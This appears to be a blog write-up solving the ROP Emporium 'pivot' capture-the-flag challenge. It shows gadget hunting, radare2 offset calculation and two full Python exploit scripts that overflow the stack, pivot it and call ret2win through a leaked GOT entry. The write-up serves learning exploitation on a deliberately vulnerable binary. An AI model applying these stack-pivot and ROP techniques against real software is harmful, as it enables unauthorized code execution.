There’s only enough space for a three-link chain on the stack but you’ve been given space to stash a much larger ROP chain elsewhere. Learn how to pivot the stack onto a new location.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/pivot.html
In this challenge, we’re actually pivoting twice. Once because our ROP chain runs out of space, and again to access an unused function in a shared library.
First, I’ll make sure ASLR is disabled (because we haven’t learned how to bypass that yet) and test run the binary:
andrew ~/pivot $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0 andrew ~/pivot $ ./pivot pivot by ROP Emporium 64bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10 Send your second chain now and it will land there > test Now kindly send your stack smash > testing Exiting
How nice of them to give the address of where we’ll be pivoting to. The challenge description states, “To ‘stack pivot’ just means to move the stack pointer elsewhere.” So let’s look for gadgets that might help with that:
There’s 4 gadgets here, only 2 of which we’ll need now; the first two. I can pop a value into RAX, then “xchg” that with RSP. The next link in our chain will then be at whatever address we popped into RAX. I’ll write a short Python script to test this out. It’ll simply pivot to the new address and execute the foothold_function().
#!/usr/bin/env python3 import sys buf1 = b"A" * 40 buf1 += (0x400b00).to_bytes(8, "little") # pop rax; ret; buf1 += (0x7ffff7bdaf10).to_bytes(8, "little") # place to pivot to buf1 += (0x400b02).to_bytes(8, "little") # xchg rax, rsp; ret buf2 = (0x400850).to_bytes(8, "little") # foothold_function() buf2 += b"\n" sys.stdout.buffer.write(buf2) sys.stdout.buffer.write(buf1)
Testing it out:
andrew ~/pivot $ ./exploit.py | ./pivot pivot by ROP Emporium 64bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10 Send your second chain now and it will land there > Now kindly send your stack smash > foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soSegmentation fault (core dumped)
Once foothold_function() has been called, it’s GOT entry will be updated to point directly to it’s code, instead of back to the PLT. I can take that address, modify it to point to ret2win() instead, and redirect execution to that point. Looking at the usefulGadgets
again, I see that "mov rax, qword [rax]"
and "add rax, rbp"
can be used. Before I can use those, however, I’ll need to find a "pop rax"
gadget to get the GOT address loaded into RAX. After those, I’ll need to be able to call whatever value is in RAX:
Now, let’s look at libpivot.so
and figure out the offset between the two functions:
andrew ~/pivot $ r2 libpivot.so [0x00000870]> aa [Cannot analyze at 0x00000860g with sym. and entry0 (aa) Cannot analyze at 0x00000868 [x] Analyze all flags starting with sym. and entry0 (aa) [0x00000870]> f~ret 0x00000abe 26 sym.ret2win [0x00000870]> f~foot 0x00000970 24 sym.foothold_function 0x00000ae8 85 str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so [0x00000870]> ? sym.ret2win - sym.foothold_function int32 334 uint32 334 hex 0x14e octal 0516 unit 334 segment 0000:014e string "N\x01" fvalue: 334.0 float: 0.000000f double: 0.000000 binary 0b0000000101001110 trits 0t110101
I’ll need to add 334 bytes to the foothold_function() address in GOT. I can put this all together and expand on the exploit script from earlier:
!/usr/bin/env python3 import sys buf1 = b"A" * 40 buf1 += (0x400b00).to_bytes(8, "little") # pop rax; ret; buf1 += (0x7ffff7bdaf10).to_bytes(8, "little") # place to pivot to buf1 += (0x400b02).to_bytes(8, "little") # xchg rax, rsp; ret buf2 = (0x400850).to_bytes(8, "little") # PLT address of foothold_function() buf2 += (0x400b00).to_bytes(8, "little") # pop rax; ret; buf2 += (0x602048).to_bytes(8, "little") # GOT address of foothold_function() buf2 += (0x400b05).to_bytes(8, "little") # mov rax, qword [rax]; ret buf2 += (0x400900).to_bytes(8, "little") # pop rbp; ret buf2 += (334).to_bytes(8, "little") buf2 += (0x400b09).to_bytes(8, "little") # add rax, rbp; ret buf2 += (0x40098e).to_bytes(8, "little") # call rax buf2 += b"\n" sys.stdout.buffer.write(buf2) sys.stdout.buffer.write(buf1)
Testing it out:
andrew ~/pivot $ ./exploit.py | ./pivot pivot by ROP Emporium 64bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10 Send your second chain now and it will land there > Now kindly send your stack smash > foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}
It’s not pretty since there’s no newline before the start of the flag, but it works!